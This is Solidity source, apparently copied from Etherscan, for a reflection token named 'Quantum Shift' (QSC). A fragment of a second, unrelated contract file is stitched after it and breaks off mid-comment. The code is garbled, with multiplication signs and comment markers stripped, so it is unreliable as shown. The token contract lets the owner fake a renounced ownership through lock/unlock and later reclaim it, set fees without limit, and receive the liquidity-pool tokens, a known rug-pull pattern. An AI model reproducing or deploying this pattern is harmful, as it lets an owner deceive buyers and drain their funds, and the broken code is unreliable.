be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract QuantumShift is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 10*6 10*18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Quantum Shift"; string private _symbol = "QSC"; uint8 private _decimals = 18; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 8; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 50000000 10*6 10*18; uint256 private numTokensSellToAddToLiquidity = 5000000 10*6 1018; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 102 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 102 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 102 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } 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/** Submitted for verification at Etherscan.io on 2021-11-17 / /** Submitted for verification at Etherscan.io on 2021-09-21 / /** Submitted for verification at Etherscan.io on 2021-08-19 / /** Submitted for verification at Etherscan.io on 2021-08-08 / // SPDX-License-Identifier: MIT pragma solidity ^0.6.7; //^0.7.5; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: "); return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a b; require(c / a == b, errorMessage); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Math { /** * @dev Returns the largest of two numbers. / function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /* * @dev Returns the smallest of two numbers. / function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /* * @dev Returns the average of two numbers. The result is rounded towards * zero. / function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By 